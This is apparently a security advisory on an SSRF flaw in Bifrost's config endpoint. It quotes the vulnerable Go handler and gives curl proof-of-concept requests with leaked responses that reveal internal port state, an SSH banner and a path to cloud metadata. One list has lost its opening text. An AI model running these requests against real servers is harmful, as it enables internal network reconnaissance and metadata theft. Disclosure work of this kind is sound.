The PUT /api/config endpoint accepts a user-controlled framework_config.pricing_url and performs an outbound http.Get against it as an "accessibility check" before persisting the configuration. The destination is not validated, and the underlying transport error is reflected verbatim in the response body. An attacker can use this primitive to enumerate hosts and ports reachable from the Bifrost server, fingerprint non-HTTP services via their greeting banners, and reach cloud metadata endpoints from the trusted server context.
Affected file: transports/bifrost-http/handlers/config.go, function updateConfig (line 193):
if payload.FrameworkConfig.PricingURL != nil && *payload.FrameworkConfig.PricingURL != modelcatalog.DefaultPricingURL {
// Checking the accessibility of the pricing URL
resp, err := http.Get(*payload.FrameworkConfig.PricingURL)
if err != nil {
logger.Warn("failed to check the accessibility of the pricing URL: %v", err)
SendError(ctx, fasthttp.StatusInternalServerError,
fmt.Sprintf("failed to check the accessibility of the pricing URL: %v", err))
return
}
defer resp.Body.Close()
...
}
Two issues compound:
127.0.0.1), RFC1918 ranges, link-local (169.254.169.254), and arbitrary external hosts.%v. When the target is a non-HTTP service, Go's HTTP client surfaces the bytes it failed to parse as part of the error string, giving the attacker a banner-grabbing primitive.The combination turns an unauthenticated or low-privilege config update into a blind plus oracle SSRF: connection state (refused vs. open vs. timeout) discloses port status, and reflected bytes disclose service identity.
Target: http://192.168.110.99:18789 (Bifrost instance). The two payloads below differ only in pricing_url.
1. Probe a closed port. A connection refused confirms the host is reachable but the port is closed.
curl --request PUT \
--url http://192.168.110.99:18789/api/config \
--header 'content-type: application/json' \
--data '{
"framework_config": {
"id": 0,
"pricing_url": "http://192.168.110.1:22",
"pricing_sync_interval": 86400
}
}'
Response:
{
"is_bifrost_error": false,
"status_code": 500,
"error": {
"message": "failed to check the accessibility of the pricing URL: Get \"http://192.168.110.1:22\": dial tcp 192.168.110.1:22: connect: connection refused"
}
}
2. Probe an open SSH port. The response leaks the SSH banner.
- "pricing_url": "http://192.168.110.1:22"
+ "pricing_url": "http://192.168.110.10:22"
Response:
{
"is_bifrost_error": false,
"status_code": 500,
"error": {
"message": "failed to check the accessibility of the pricing URL: Get \"http://192.168.110.10:22\": net/http: HTTP/1.x transport connection broken: malformed HTTP status code \"Ubuntu-3ubuntu0.1\""
}
}

The reflected string Ubuntu-3ubuntu0.1 is a fragment of the SSH server's identification banner (SSH-2.0-OpenSSH_<ver> Ubuntu-3ubuntu0.1). This confirms the port is open, the service is SSH, and discloses the OS or package build, which is enough to look up known CVEs against the host.
The same primitive works against any plaintext service that emits a greeting on connect (SMTP, FTP, Redis, memcached, MySQL handshake bytes, etc.) and against cloud metadata endpoints such as http://169.254.169.254/latest/meta-data/.
"v1.0.0"

curl --request GET \
--url http://192.168.110.99:18789/api/version \
--header 'content-type: application/json'